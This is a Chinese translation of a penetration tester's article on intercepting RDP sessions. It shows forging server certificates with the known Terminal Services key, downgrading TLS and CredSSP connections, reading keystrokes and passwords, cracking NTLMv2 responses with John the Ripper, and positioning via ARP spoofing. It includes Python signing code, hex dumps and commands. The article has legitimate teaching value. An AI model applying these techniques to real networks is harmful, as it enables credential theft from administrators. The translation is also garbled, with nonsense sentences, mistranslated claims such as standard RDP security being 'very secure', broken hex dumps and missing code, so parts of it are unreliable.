發表日期:2017-04 文章編輯:小燈 瀏覽次數:3680
原文首發:看雪論壇
http://bbs.pediy.com/thread-217188.htm
引言
遠程桌面協議是系統管理員用來連上微軟終端機服務的電腦。可能最常見的是,它被用來在關鍵服務器上執行管理員任務,比如說擁有高權限的賬戶的域控制器,這中間的證書就是通過RDP協議傳輸的。因此,配置一個安全的RDP非常重要。
我們在SySS(State-of-the-Art of IT System Intrusion)經常見到由于錯誤地配置,在系統管理員活動目錄環境中出現這種警告:
移除
點擊此處添加圖片說明文字
Figure 1: An SSL certificate warning
如果你經常遇到這樣的警告,你就不能識別出真正的中間人攻擊。本文旨在提高認真對待認證警告的重要性和意義,以安全地配置您的Windows環境。適合本文的讀者為系統管理員,滲透測試人員和安全愛好者。雖然不是必須的,但你對下面幾個方面最好有個認識:
--公鑰密碼體制和對稱密碼體制RSA和RC4)
--SSL(Secure Sockets Layer 安全套接層)
--– x509 certificates(x509證書)
--TCP(Transmission Control Protocol 傳輸控制協議)
--python
--– Hexadecimal numbers
and binary code(十六進制數值和二進制代碼)
我們將會演示如何通過中間人攻擊來嗅探你的證書,如果你不小心的話。這都不是新鮮的技術,以前就出現過,比如說Cain
&Abel項目。然而,Cain項目出現很久了,卻閉源并且只支持Windows。我們想要分析所有與RDP 內部工作相關的細節,然后盡可能接近地模擬出一個真實的攻擊。
毫無疑問的是, 你不能根據這篇文章中的發現來訪問未經授權的系統。它們只能在系統管理員完全同意的情況下用作教學目的。否則,根據你的管轄權,你非常有可能觸犯法律。
對于那些沒有耐心的,指向源代碼的鏈接見【1】。
初見協議
讓我們先打開wireshark,看看通過RDP協議連接到一個服務器會發生什么。
移除
點擊此處添加圖片說明文字
?圖2: 在Wireshark中的RDP會話開始
正如上圖,客戶端首先提出了用于RDP會話的安全協議。 我們區分出了這三個協議:
--StandardRDPsecurity
--EnhancedRDPsecurityorTLS
security
--CredSSP
在這個例子中,客戶端能夠執行前兩個協議。需要注意的是,標準的RDP協議始終非常安全并且不需要被客戶端提示。TLS,或者“增強的RDP安全”,只是標準的RDP安全,被加密在TLS隧道里。在以下全文,我會持續用術語 SSL和 TLS
來描述。
CredSSP也在TLS隧道內,但不是通過受保護的隧道中來傳輸密碼,Kerberos或者NTLM也用作身份認證。 這個協議也稱為網絡級認證(NetworkLevelAuthentication)。
早期的用戶認證是允許服務器在提交任何憑據之前拒絕訪問的功能(除了用戶名),例如,如果用戶沒有必要的遠程訪問特權的話。
在我們的Wireshark會話中,我們可以看到在客戶端和服務器端同意使用增強的RDP安全協議后執行SSL握手協議。為此,我們點擊第一個數據包的協商報文 ,接著將TCP流解碼為SSL:
移除
點擊此處添加圖片說明文字
?圖3: SSL握手開始
如果我們想中間人來完成RDP連接的話,我們就不能只是使用SSL代理,因為代理需要可以識別RDP協議。當第一次SSL握手的時候,需要識別出來,和SMTP
或者 FTP協議里的StartTLS類似。
在這用python來實現這個代理的作用。為此,我們只需創建受害者的服務器套接字,客戶端連接到實際服務器端。如果必要的話,我們將其封裝在SSL套接字中并轉發這些數據。當然,我們也會密切檢查可能修改被修改的數據。
首先我們要修改是客戶端的協議功能。客戶端可能想告訴服務器它支持CredSSP,但是我們將在到服務器的通路中間改變標準的RDP安全性。在那里默認配置,服務器將高興地遵守。
為RDP構造一個基于python的中間人代理
Python代碼的主要程序如下
移除
點擊此處添加圖片說明文字
?
函數
Run() 建立
sockets通信,處理協商協議并啟用SSL,如果必要的話。之后在兩個套接字之間轉發數據。如果有調試標志的話,函數dump()會把數據以十六進制的形式打印出來。函數parse_rdp()從數據中提取一些有用的信息,函數tamper_data()會做一些相應的修改。
基本的密碼學知識
因為我們要破解標準的RDP安全,我想先講下RSA的基本知識。你可以跳過這部分。
在RSA中,加密解密,簽名都是純數學運算,只是憑借整數來完成。只需要記住所有的這些操作都是在有限群范圍內。
當你在生成RSA密鑰對時,你需要找到兩個大素數p和q。取他們的乘積,N = PQ(這就是所謂的模數),計算φ(N)=(P - 1)(Q - 1)(歐拉函數),并選個和φ(N)互質的整數e。則d一定滿足下式:
e · d ≡ 1?????? mod φ(n).
d是私鑰,而e和n組成公鑰。當然,從理論上d可以通過n和e算出來。除非你知道p和q,否則φ(n)是很難算出來。這就是為什么RSA的安全性很大程度上取決于分解大素數的難度。到目前為止,沒有人知道如何快速計算大素數 - 除非你有一個量子計算機[4,5]。
為了加密原文m,計算m的e次方模上n:
c ≡ me? mod n
為了解密密文c,只要把e換成d即可:
m
≡ cd? mod n
如果你不是很明白的話,別擔心這只是逆加密操作。數學證明的話,對于本文來說就復雜了。
簽名與解密相同。你只是在消息的散列上執行它。
因為這些操作可以花費相當大代價,當m或c是大于256位的數時,則通常只使用RSA加密的對稱密鑰。用對稱密碼新產生的密鑰來對實際消息進行加密(通常是AES)。
破壞標準的RDP安全
其實,沒有太多要破解的。從設計上來說它就有問題,我會告訴你為什么。
標準RDP安全的工作方式是這樣的:
- 客戶端表示它打算使用標準RDP安全協議。
- 服務器同意,并把它自己的RSA公鑰和一個“服務器隨機數”發送給客戶端。該公鑰加上一些其他信息(如主機名等)被稱為“證書”。該證書是使用私鑰終端服務,以確保真實性。
- 客戶端通過使用終端服務公鑰驗證證書。如果成功的話,它使用服務器的公鑰來加密“客戶端隨機數”,并將其發送給服務器。
- 服務器用私鑰解密客戶端隨機數。
- 服務器和客戶端從對方的隨機數導出會話密鑰[6]。
密鑰用于對稱加密會話的其余部分。
注意所有這一切都是以明文形式傳輸,而不是在SSL隧道內部。原則上是好的,微軟想和SSL所做的那樣實現相同的技術。然而,密碼學是很難的[7],并且一般來說,你應該去選用那些經受時間考驗的解決辦法,而非實現自己的。而微軟馬上就犯了一個重大錯誤。錯誤太明顯了以致于我不明白他們為什么這樣做。
你能發現這里的錯誤嗎?客戶如何得到終端服務公鑰呢?答案是:它是預裝的。這意味著每個系統上相同的密鑰。這意味著私鑰始終是相同的!因此,它可以從任何Windows安裝過程中得到。事實上,我們甚至不需要那樣做,由于現在微軟官方已經正式發布,我們可以在microsoft.com
[8]查看。
會話密鑰被導出后,對稱加密可以在幾個層次上進行[9]:無,40位RC4,56位RC4,128位RC4,或3DES(他們稱之為FIPS)。默認值是128位RC4(“高”)。但如果我們可以竊聽到密鑰,加密有多強就根本不重要了。
所以計劃很明確:當遇到服務器的公鑰,我們快速生成自己同樣大小的RSA密鑰對,并覆蓋它原來的密鑰。當然,我們需要用終端私鑰服務來生成我們公鑰的簽名,并用它代替原來的簽名。然后,客戶端成功地驗證了我們偽造的公鑰,我們收到了客戶端的隨機數。用私鑰來解密它,把它記錄下來,用客戶端公鑰重新加密它。就是這樣!從現在開始,我們就可以解析客戶端和服務器端的加密流量了。
唯一的挑戰是正確地解析RDP報文。這恰恰是我們感興趣的部分:
1 From server:
2 00000000: 03 00 02 15 02 F0 80 7F 6682 02 09 0A 01 00 02 ........f.......
3 00000010: 01 00 30 1A 02 01 22 02 0103 02 01 00 02 01 01 ..0...".........
4 00000020: 02 01 00 02 01 01 02 03 00FF F8 02 01 02 04 82 ................
5 00000030: 01 E3 00 05 00 14 7C 00 012A 14 76 0A 01 01 00 ......|..*.v....
6 00000040: 01 C0 00 4D 63 44 6E 81 CC01 0C 10 00 04 00 08 ...McDn.........
7 00000050: 00 00 00 00 00 01 00 00 0003 0C 10 00 EB 03 04 ................
8 00000060: 00 EC 03 ED 03 EE 03 EF 0302 0C AC 01 02 00 00 ................
Vollmer |Attacking RDP7
9 00000070: 00 02 00 00 00 20 00 00 0078 01 00 00 D9 5E A3 ..... ...x....^.
10 00000080: AA D6 F6 80 EB 0B 3E 1D 8D30 B3 AB 6A AE 26 07 ......>..0..j.&.
11 00000090: EF 89 3D CB 15 98 AE 22 7E4B 2B AF 07 01 00 00 ..=...."~K+.....
12 000000A0: 00 01 00 00 00 01 00 00 0006 00 1C 01 52 53 41 .............RSA
13 000000B0: 31 08 01 00 00 00 08 00 00 FF00 00 00 01 00 01 1...............
14 000000C0: 00 AF 92 E8 20 AC D5 F7 BB 9FCF 6F 6E 2C 63 07 .... ......on,c.
15 000000D0: 34 CC A7 7A 21 AB 29 8A 1B 5DFE FD 43 F1 10 FC 4..z!.)..]..C...
16 000000E0: DB C6 D6 4B F1 B7 E1 B9 5E F768 46 58 EF 09 39 ...K....^.hFX..9
17 000000F0: 08 03 0F 54 0C 58 FA 3E A3 4A50 F6 91 E9 41 F8 ...T.X.>.JP...A.
18 00000100: 89 1D CC 14 3C 64 0B 1D 2B 0C98 DF 63 D6 A6 72 ....
19 00000110: 42 ED AC CB 88 44 85 47 D3 8945 BA BD 9F 2D D0 B....D.G..E...-.
20 00000120: D5 0E 24 09 AD 02 2B 9D 37 18DD 12 8B F6 21 5B ..$...+.7.....![
21 00000130: 20 47 33 52 9C 00 32 BA E7 8380 7F AA 3C F3 C7 G3R..2......<..
22 00000140: 95 DD 84 C2 4E 5E 0C 27 52 74FC 87 0E 10 D9 42 ....N^.'Rt.....B
23 00000150: 19 0D F5 77 57 3F 71 4F 9C 340F 12 F8 E8 B0 59 ...wW?qO.4.....Y
24 00000160: F7 CD 09 F9 A5 25 AE 6A CB E6CB 88 24 DA D2 46 .....%.j....$..F
25 00000170: 42 21 21 94 2E 6D 42 FF 9F AF89 E3 BA EC CC DA B!!..mB.........
26 00000180: 15 71 5D 17 A9 5A 00 59 D4 ADEA E4 93 58 06 5B .q]..Z.Y.....X.[
27 00000190: F7 22 2A 1F DD DC C6 27 30 2A25 10 B1 A8 40 98 ."*....'0*%...@.
28 000001A0: 6B 24 B6 4E 2A 79 B7 40 27 F4BE 07 35 80 50 48 k$.N*y.@'...5.PH
29 000001B0: 72 A4 0D 2B AA B0 5C 89 C0 962A 49 1E BC A1 AB r..+..\...*I....
30 000001C0: D0 00 00 00 00 00 00 00 00 08 00 48 00 3D 5F 11 ...........H.=_.
31 000001D0: A1 C1 38 09 1B B1 85 52 1ED1 03 A1 1E 35 E7 49 ..8....R.....5.I
32 000001E0: CC 25 C3 3C 6B 98 77 C2 8703 C4 F5 78 09 78 F1 .%.
33 000001F0: 43 21 07 BD AB EE 8E B0 F6BC FC B0 A6 6A DD 49 C!...........j.I
34 00000200: A0 F1 39 86 FE F1 1E 36 3CCE 69 C0 62 00 00 00 ..9....6<.i.b...
35 00000210: 00 00 00 00 00
.....
我加粗了那些表示公共密鑰的字節。它前面的兩個字節表示它的長度(0x011c)little-endian字節順序(0x011c)。正如我們之前討論的,公共密鑰由模數和公共指數組成。閱讀RDP規范[10]來了解數據結構的細節。
讓我們來看看該信息確實是我們感興趣的。模數如下:
1 00000000: AF92 E820 ACD5 F7BB9FCF 6F6E 2C63 0734 ... ......on,c.4
2 00000010: CCA7 7A21 AB29 8A1B5DFE FD43 F110 FCDB ..z!.)..]..C....
3 00000020: C6D6 4BF1 B7E1 B95EF768 4658 EF09 3908 ..K....^.hFX..9.
4 00000030: 030F 540C 58FA 3EA34A50 F691 E941 F889 ..T.X.>.JP...A..
5 00000040: 1DCC 143C 640B 1D2B0C98 DF63 D6A6 7242 ...
6 00000050: EDAC CB88 4485 47D38945 BABD 9F2D D0D5 ....D.G..E...-..
7 00000060: 0E24 09AD 022B 9D3718DD 128B F621 5B20 .$...+.7.....![
8 00000070: 4733 529C 0032 BAE78380 7FAA 3CF3 C795 G3R..2......<...
9 00000080: DD84 C24E 5E0C 275274FC 870E 10D9 4219 ...N^.'Rt.....B.
10 00000090: 0DF5 7757 3F71 4F9C340F 12F8 E8B0 59F7 ..wW?qO.4.....Y.
11 000000A0: CD09 F9A5 25AE 6ACBE6CB 8824 DAD2 4642 ....%.j....$..FB
12 000000B0: 2121 942E 6D42 FF9FAF89 E3BA ECCC DA15 !!..mB..........
13 000000C0: 715D 17A9 5A00 59D4ADEA E493 5806 5BF7 q]..Z.Y.....X.[.
14 000000D0: 222A 1FDD DCC6 27302A25 10B1 A840 986B "*....'0*%...@.k
15 000000E0: 24B6 4E2A 79B7 4027F4BE 0735 8050 4872 $.N*y.@'...5.PHr
16 000000F0: A40D 2BAA B05C 89C0962A 491E BCA1 ABD0 ..+..\...*I.....
17 00000100: 0000 0000 0000 0000........
簽名是:
1 00000000: 3D5F 11A1 C138 091BB185 521E D103 A11E =_...8....R.....
2 00000010: 35E7 49CC 25C3 3C6B9877 C287 03C4 F578 5.I.%.
3 00000020: 0978 F143 2107 BDABEE8E B0F6 BCFC B0A6 .x.C!...........
4 00000030: 6ADD 49A0 F139 86FEF11E 363C CE69 C062 j.I..9....6<.i.b
5 00000040: 0000 0000 0000 0000........
服務器端隨機數:
100000000: D95E A3AA D6F6 80EB0B3E 1D8D 30B3 AB6A .^.......>..0..j
200000010: AE26 07EF 893D CB1598AE 227E 4B2B AF07 .&
所有的都是小端字節序。我們注意到在服務器隨機數,并替換了兩個值。
使用OpenSSL來生成RSA密鑰。有個Python庫也可以實現RSA,但它效率和openssl比的話太低了
1$ openssl genrsa 512 | openssl rsa -noout -text
2Generating RSA
private key, 512 bit long modulus
3.....++++++++++++
4..++++++++++++
5e is? 65537 (0x01001)
6Private-Key : (512
bit)
7modulus:
800:f8:4c:16:d5:6c:75:96:65:b3:42:83:ee:26:f7:
9e6:8a:55:89:b0:61:6e:3e:ea:e0:d3:27:1c:bc:88:
1081:48:29:d8:ff:39:18:d9:28:3d:29:e1:bf:5a:f1:
1121:2a:9a:b8:b1:30:0f:4c:70:0a:d3:3c:e7:98:31:
1264:b4:98:1f:d7
13PublicExponent:65537(0x10001)
14privateExponent:
1500:b0:c1:89:e7:b8:e4:24:82:95:90:1e:57:25:0a:
1688:e5:a5:6a:f5:53:06:a6:67:92:50:fe:a0:e8:5d:
17cc:9a:cf:38:9b:5f:ee:50:20:cf:10:0c:9b:e1:ee:
1805:94:9a:16:e9:82:e2:55:48:69:1d:e8:dd:5b:c2:
198a:f6:47:38:c1
20prime1:
21[...]
在這里我們可以看到模數n,公鑰e和私鑰d。它們都是以16進制的大端字節序的形式表示的。我們實際需要2048位的密鑰,而不是512位的,但你有一個想法,偽造簽名是很容易的。我們采取的證書的前六塊的MD5哈希值,參照規格[11]加上一些常量,并用終端服務密鑰【8】的私有部分進行加密。下面是它的python實現:
1
2
def
sign_certificate(cert):
3
"""Signs the certificate with the private
key"""
4
m = hashlib.md5()
5
m.update(cert)
6
m = m.digest() + b"\x00" + b"\xff"*45 +
b"\x01"
7
m = int.from_bytes(m, "little")
8
d = int.from_bytes(TERM_PRIV_KEY["d"],
"little")
9
n = int.from_bytes(TERM_PRIV_KEY["n"],
"little")
10
s = pow(m, d, n)
11
return s.to_bytes(len(crypto["sign"]),
"little")
我們需要攔截的下一條消息是一個包含加密的客戶端隨機。它看起來是這樣的
1From client:
2 00000000: 03 00 01 1F 02 F0 80 64 00 08 03 EB 70 81 10 01.......d....p...
3 00000010: 02 00 00 08 01 00 00 DD 8A 43 35 DD 1A 12 99 44 .........C5....D
4 00000020: A1 3E F5 38 5C DB3F 3F 40 D1 ED C4 A9 3B 60 6A .>.8\.??@....;`j
5 00000030: A6 10 5A AF FD 177A 21 43 69 D0 F8 9B F1 21 A3 ..Z...z!Ci....!.
6 00000040: F1 49 C6 80 96 0362 BF 43 54 9D 38 4D 68 75 8C .I....b.CT.8Mhu.
7 00000050: EA A1 69 23 2F F6E9 3B E7 E0 48 A1 B8 6B E2 D7 ..i#/..;..H..k..
8 00000060: E2 49 B1 B2 1B BFBA D9 65 0B 34 5A B0 10 73 6E .I......e.4Z..sn
9 00000070: 4F 15 FA D7 04 CA5C E5 E2 87 87 ED 55 0F 00 45 O.....\.....U..E
10 00000080: 65 2C C6 1A 4C 096F 27 44 54 FE B6 02 1C BA 9F e,..L.o'DT......
11 00000090: 3B D8 D0 8D A5 E693 45 0C 9B 68 36 5C 93 16 79 ;......E..h6\..y
12 000000A0: 0B B8 19 BF 88 085D AC 19 85 7C BB AA 66 C4 D9 ......]...|..f..
13 000000B0: 8E C3 11 ED F3 8D27 60 8A 08 E0 B1 20 1D 08 9A ......'`.... ...
14 000000C0: 97 44 6D 33 23 0E5C 73 D4 02 4C 20 97 5C C9 F6 .Dm3#.\s..L .\..
15 000000D0: 6D 31 B2 70 35 3937 A4 C2 52 62 C7 5A 69 54 44 m1.p597..Rb.ZiTD
16 000000E0: 4C 4A 75 D2 63 CC52 15 8F 6E 2A D8 0D 61 A5 0A LJu.c.R..n*..a..
17 000000F0: 47 5B 2A 68 97 7B1B FF D3 33 10 49 15 9A D6 2C G[*h.{...3.I...,
18 00000100: DF 04 6D 93 21 7832 98 8B 0B F4 01 33 FB CC 5B ..m.!x2.....3..[
19 00000110: 83 BA 2D 7F EA 823B 00 00 00 00 00 00 00 00 ..-...;........
同樣,我強調了加密的客戶端隨機。它前面的四個字節表示它的長度(0x0108)。因為是用我們的證書加密的,所以我們可以很容易地將其解密:
1 00000000: 4bbd f97d 49b6 8996ec45 0ce0 36e3 d170 K..}I....E..6..p
2 00000010: 65a8 f962 f487 5f27cd1f 294b 2630 74e4 e..b.._'..)K&0t.
我們只需要使用服務器的公鑰重新進行加密,并且在傳輸將替換它替換下。
不巧的是,我們還沒做完。我們現在知道秘密的客戶端隨機,但不管是什么原因微軟決定不只是使用對稱密鑰。有一個詳細的過程[6]派生的客戶端的加密密鑰,服務器端的加密密鑰和簽名密鑰。它很無趣但是明了。
之后,我們得出的會話密鑰,我們可以初始化s盒用RC4流。由于RDP接受來自服務器的消息時比來自客戶端的多個分散的密鑰,我們需要兩個S盒。S盒是一個256個字節數組根據密鑰以一種特定方式變換。然后S盒生成偽隨機數的流,這些都是數據流相互異或得到的。我的Python實現如下
正如你所看到的,該協議在加密4096個包之后需要更新密鑰。我還沒有花心思去實現它,因為我只對作為概念驗證的證書感興趣。隨意給我一個補丁!
現在,我們準備好讀取流量用到的所有東西了。我們對于那些包含鍵盤輸入事件的包特別感興趣,即按鍵和按鍵釋放。我從規范[12]收集了包含多個數據包的消息,有些是緩慢路徑的數據包(以0x03開始),有些是快速路徑數據包(第一個字節可以被4整除)。
一次鍵盤輸入事件[13] 由兩個字節組成,例如:
00000000:
01 1F
這意味著做了“S”鍵(0x1F)已經按過了(因為第一個字節為0x01)。
我不是很擅長分析這些,因為有時鼠標移動事件會被鍵盤事件檢測到。因此,該掃描碼需要轉換為虛擬鍵碼,它取決于鍵盤類型和布局。這似乎沒什么意義,所以我打算做。我只是使用了參考【14】中的地圖。這是足夠好的概念證明。
讓我們來嘗試一下。一旦連接到我們的偽造的RDP服務器,我們已經收到了警告,服務器的真實性無法驗證:
移除
點擊此處添加圖片說明文字
?
圖4: 服務器的身份不能驗證通過
注意到什么了嗎?這不是一個SSL警告。不管怎樣,我們現在可以看到按鍵(見圖5)。
順便說一句,這就是Cain正在做的。
破壞增強的RDP安全
對我來說,降級到標準RDP的安全性是不能令人感到滿意的。如果我是攻擊者,我會盡量讓攻擊看起來地正常。受害者會發現與平時不一樣的警告,在建立連接之后需要輸入他們的證書。
當我和Cain作為中間人攻擊RDP連接時,總是很困擾看不到相同的SSL警告,。我發現很難給客戶解釋為什么要當心SSL警告,特別是如果他們使用自己簽名的證書時可能不需要進行驗證,如果這個MITM工具顯示了一個完全不同的警告時。
移除
點擊此處添加圖片說明文字
?
圖5: 以明文形式的鍵盤輸入事件。密碼是 Secr3t!
所以讓我們嘗試降級到增強的RDP安全的連接。對于這一點,我們需要自己簽名的SSL
證書,這可以通過OpenSSL產生:
1???? $
openssl req -new -newkey rsa:"$KEYLENGTH" -days "$DAYS"
-nodes -x509 \
2???? -subj
"$SUBJ" -keyout privatekey.key -out certificate.crt 2> /dev/null
我們在正確的時間換了SSL包內的Python
TCP套接字并且成功了。前面我說過標準RDP協議用在SSL隧道內部,但服務器總是選擇“無”作為加密級別。這樣很好,因為它可以安全地假設SSL包確保了數據的真實性和完整性。在SSL的頂端使用RC4算法是一種浪費資源的體現。擊鍵的提取工作完全和以前的部分一樣。
唯一額外的安全功能是由服務器確認原來的協議協商。在SSL連接建立后,服務器告訴客戶端:“對了,你告訴我你支持哪些安全協議“。二進制形式如下:
From server:
1 00000000: 03 00 00 70 02 F0 80 7F 6666 0A 01 00 02 01 00 ...p....ff......
2 00000010: 30 1A 02 01 22 02 01 03 02 01 00 02 01 01 02 010..."...........
3 00000020: 00 02 01 01 02 03 00 FF F8 02 01 02 04 42 00 05 .............B..
4 00000030: 00 14 7C 00 01 2A 14 76 0A 01 01 00 01 C0 00 4D ..|..*.v.......M
5 00000040: 63 44 6E 2C 01 0C 10 00 04 00 08 00 01 00 00 00 cDn,............
7 00000050: 01 00 00 00 03 0C 1000 EB 03 04 00 EC 03 ED 03 ................
8 00000060: EE 03 EF 03 02 0C 0C00 00 00 00 00 00 00 00 00 ................
然后,客戶端會把這個值和它第一次請求的值作比較,如果不匹配的話,終止連接。顯然,為時已晚。我們在中間的位置,可以通過用它的原始值(即0x03)來替換正確的字節(突出顯示的偏移量0x4C處)從而隱藏偽造的來自客戶端的協商請求。
在此之后,我們能夠以明文形式看到所有的東西。來吧,嘗試一下。
正如預期的那樣,受害者看到了正確的SSL警告。但是,還是有點不一樣的。在RDP連接建立之前沒有提示說我們的證書,而是受害者看到了windows登錄窗口。不像NLA,認證在會話過程中。同樣,有些東西不同于典型的管理員的工作流程,并且可能被注意到。
阻斷 CredSSP
好吧,我就在這里承認這一點:我們是不會阻斷CredSSP的。但是,我們會找到一個方法來規避它。
首先,讓我們來看看,如果我們不降級連接的話會發生什么。發送到服務器的一條相關信息如下:
1 From client:
2 00000000: 30 82 02 85 A0 03 0201 04 A1 82 01 DA 30 82 01 0............0..
3 00000010: D6 30 82 01 D2 A0 8201 CE 04 82 01 CA 4E 54 4C .0...........NTL
4 00000020: 4D 53 53 50 00 03 0000 00 18 00 18 00 74 00 00 MSSP.........t..
5 00000030: 00 2E 01 2E 01 8C 0000 00 08 00 08 00 58 00 00 .............X..
6 00000040: 00 0A 00 0A 00 60 0000 00 0A 00 0A 00 6A 00 00 .....`.......j..
7 00000050: 00 10 00 10 00 BA 0100 00 35 82 88 E2 0A 00 39 .........5.....9
8 00000060: 38 00 00 00 0F 6D 49C4 55 46 C0 67 E4 B4 5D 86 8....mI.UF.g..].
9 00000070: 8A FC 3B 59 94 52 0044 00 31 00 34 00 55 00 73 ..;Y.R.D.1.4.U.s
10 00000080: 00 65 00 72 00 31 0057 00 49 00 4E 00 31 00 30 .e.r.1.W.I.N.1.0
11 00000090: 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 ................
12 000000A0: 00 00 00 00 00 00 0000 00 11 0D 65 8E 92 7F 07 ...........e....
13 000000B0: 7B 04 02 04 0C C1A6 B6 EF 01 01 00 00 00 00 00 {...............
14 000000C0: 00 D5 FD A8 7C EC95 D2 01 A7 55 9D 44 F4 31 84 ....|.....U.D.1.
15 000000D0: 8A 00 00 00 00 0200 08 00 52 00 44 00 31 00 34 .........R.D.1.4
16 000000E0: 00 01 00 08 00 4400 43 00 30 00 31 00 04 00 14 .....D.C.0.1....
17 000000F0: 00 72 00 64 00 3100 34 00 2E 00 6C 00 6F 00 63 .r.d.1.4...l.o.c
18 00000100: 00 61 00 6C 00 0300 1E 00 64 00 63 00 30 00 31 .a.l.....d.c.0.1
19 00000110: 00 2E 00 72 00 6400 31 00 34 00 2E 00 6C 00 6F ...r.d.1.4...l.o
20 00000120: 00 63 00 61 00 6C00 05 00 14 00 72 00 64 00 31 .c.a.l.....r.d.1
21 00000130: 00 34 00 2E 00 6C00 6F 00 63 00 61 00 6C 00 07 .4...l.o.c.a.l..
22 00000140: 00 08 00 D5 FD A87C EC 95 D2 01 06 00 04 00 02 ......|.........
23 00000150: 00 00 00 08 00 3000 30 00 00 00 00 00 00 00 00 .....0.0........
24 00000160: 00 00 00 00 20 0000 4C FA 6E 96 10 9B D9 0F 6A .... ..L.n.....j
25 00000170: 40 80 DA AA 8E 264E 4E BF AF FA E9 E3 68 AF 78 @....&NN.....h.x
26 00000180: 7F 53 E3 89 D9 6B18 0A 00 10 00 00 00 00 00 00 .S...k..........
27 00000190: 00 00 00 00 00 0000 00 00 00 00 09 00 2C 00 54 .............,.T
28 000001A0: 00 45 00 52 00 4D00 53 00 52 00 56 00 2F 00 31 .E.R.M.S.R.V./.1
29 000001B0: 00 39 00 32 00 2E00 31 00 36 00 38 00 2E 00 34 .9.2...1.6.8...4
30 000001C0: 00 30 00 2E 00 3100 37 00 39 00 00 00 00 00 00 .0...1.7.9......
31 000001D0: 00 00 00 00 00 0000 19 0AF7 ED 0C 45 C0 80 73 ............E..s
32 000001E0: 53 74 1A AB AF 13 B4A3 81 9F 04 81 9C 01 00 00 St..............
33 000001F0: 00 7F 38 FE A6 32 5E4E 57 00 00 00 00 42 B4 6E ..8..2^NW....B.n
34 00000200: 39 09 AA CC 8F 04 715C 54 CF AD E0 A0 58 AA 06 9.....q\T....X..
35 00000210: B2 F0 0A 33 05 03 5460 FB E1 68 FC F5 0D A9 C0 ...3..T`..h.....
36 00000220: D9 57 BA 43 F2 92 F76F 32 74 4E 86 CD 7F F0 3B .W.C...o2tN....;
37 00000230: DD A4 A4 67 0A B7 7E64 0B 63 D7 4B F7 C6 B7 8F ...g..~d.c.K....
38 00000240: 21 15 9D EA 3E E1 1A50 AB AA D3 6E 46 9D 68 6E !...>..P...nF.hn
39 00000250: 2A EA 44 5C E0 51 1D41 B4 13 EB B9 90 E8 75 AD *.D\.Q.A......u.
40 00000260: A0 99 4E F2 A5 99 D48D 2A 11 73 F1 95 FC 7E A0 ..N.....*.s...~.
41 00000270: 06 FD 13 DB D0 3B 7AB4 41 97 B6 94 D4 11 62 F5 .....;z.A.....b.
42 00000280: 4C 06 BE 03 9C 0F 550E 3C L.....U.<.
我強調了客戶端質詢和NTLM響應。無論是對旁邊的海誓山盟。服務器質詢在來自服務器的前面的消息中。
我們正在尋找在這里是NTLM身份驗證[15]。這是一個挑戰 - 響應技術,其中客戶端映射服務器質詢(類似于早些時候服務器隨機數),客戶端質詢,用戶密碼的哈希值和一些其他數的到一個加密哈希值。這個值,叫做“NTLM響應”,然后傳輸到服務器。
這個值是如何算出來的對于我們不是很重要。我們唯一需要知道的的事情就是它不能重現或用于哈希攻擊。但它可以被暴力破解!底層散列算法是HMAC-MD5,所有這是一個相當簡單的哈希算法(所以我們每秒鐘可以破解很多次),但它也是加鹽的(這就排除了彩虹表)。
現在,我們可以嘗試用Hashcat [17]或JohntheRipper[18]來破解它。John的哈希格式
如下:
1 :::::
所以在我們的例子中會有:
User1::RD14:a5f46f6489dc654f:110d658e927f077b0402040cc1a6b6ef:0101000000000
000d5fda87cec95d201a7559d44f431848a0000000002000800520044003100340001000800
44004300300031000400140072006400310034002e006c006f00630061006c0003001e00640
06300300031002e0072006400310034002e006c006f00630061006c00050014007200640031
0034002e006c006f00630061006c0007000800d5fda87cec95d201060004000200000008003
000300000000000000000000000002000004cfa6e96109bd90f6a4080daaa8e264e4ebfaffa
e9e368af787f53e389d96b180a0010000000000000000000000000000000000009002c00540
0450052004d005300520056002f003100390032002e003100360038002e00340030002e0031
0037003900000000000000000000000000
如果我們把這個放在在一個名為hashes.txt的文件中,下面的命令能夠驗證我們是否做的是對的:
1
$ echo 'S00perS3cretPa$$word' | ./john --format=netntlmv2
--stdin hashes.txt
2
Using default input encoding: UTF-8
3
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5
32/64])
4
Will run 8 OpenMP threads
5
Press Ctrl-C to abort, or send SIGUSR1 to john process for
status
6
S00perS3cretPa$$word (User1)
7
1g 0:00:00:00 33.33g/s 33.33p/s 33.33c/s 33.33C/s
S00perS3cretPa$$word
8
Use the "--show" option to display all of the
cracked passwords reliably
9
Session completed
因此,這是聊勝于無。但是,我們可以做的更好。
我們需要問自己:如何在服務器端驗證NTLM響應?它要求域控制器。如果域控制器不可用呢?它說:“換下思路,讓我們做增強的RDP安全而不是NLA”,客戶端也將遵守。而抱怨者會說:由于客戶端已經緩了用戶的密碼,它只會傳輸它,而不是將用戶定向到Windows登錄界面的!這恰恰是我們想要的東西。除了SSL警告(受害者可能習慣了這個),什么可疑的都不會發生。
所以我們這樣做:在客戶端發送的NTLM響應后,我們將代替服務器這樣回答:我沒有找到關于這個的文檔(如果你找到的話,請給我寫一封電子郵件),但如果不能連接到域控制器的話服務器端會如何響應。客戶端將退回到增強的RDP安全,顯示SSL警告,并從SSL隧道向服務器里傳輸密碼。
作為一個側面說明,請注意我們沒有得到SSL警告。根據規格[19],客戶端需要發送SSL證書的指紋到由CredSSP的協議協商的密鑰加密的服務器。如果不匹配服務器證書的指紋,會話終止。這就是為什么上述工作如果受害人提供了不正確的憑據
- 我們能夠看到(不正確)的密碼。但是,如果密碼是正確的,我們將看到一個TLS內部錯誤。
我想出了一種辦法是簡單地用NTLM響應篡改。我改變了Python腳本中NTLM響應的部分,所以NTLM身份驗證會一直失敗。我們的受害者卻不會請注意,正如我們剛才看到的,我們可以降級到TLS連接,之后憑據會重發。
然而,我們需要考慮一些事情。如果客戶端可以分辨出你做嘗試連接到域連接的計算機,它不會使用NTLM。它會使用Kerberos,這意味著建立RDP連接請求票證之前它會聯系域控制器。這是一件好事,因為Kerberos票據比加鹽的NTLM響應更加沒用。但是,如果攻擊者是中間人攻擊的地位的話,他能夠阻止對Kerberos服務的所有請求。如果無法聯系Kerberos服務,客戶端會發生什么?沒錯,它會回落到NTLM。
攻擊專業化
剩下的就是簡單地點擊幾下。到目前為止,我們一直配置實驗室環境。受害者不會通過RDP客戶端進入我們的IP,他會進入自己的服務器的IP或主機名。有許多方式來獲得中間人攻擊的位置,但在這里我們將選擇ARP欺騙的方式。很容易就可以證明這是一個概念證明。由于它是一個2層的攻擊,我們必須要合被攻擊者在同一子網中。
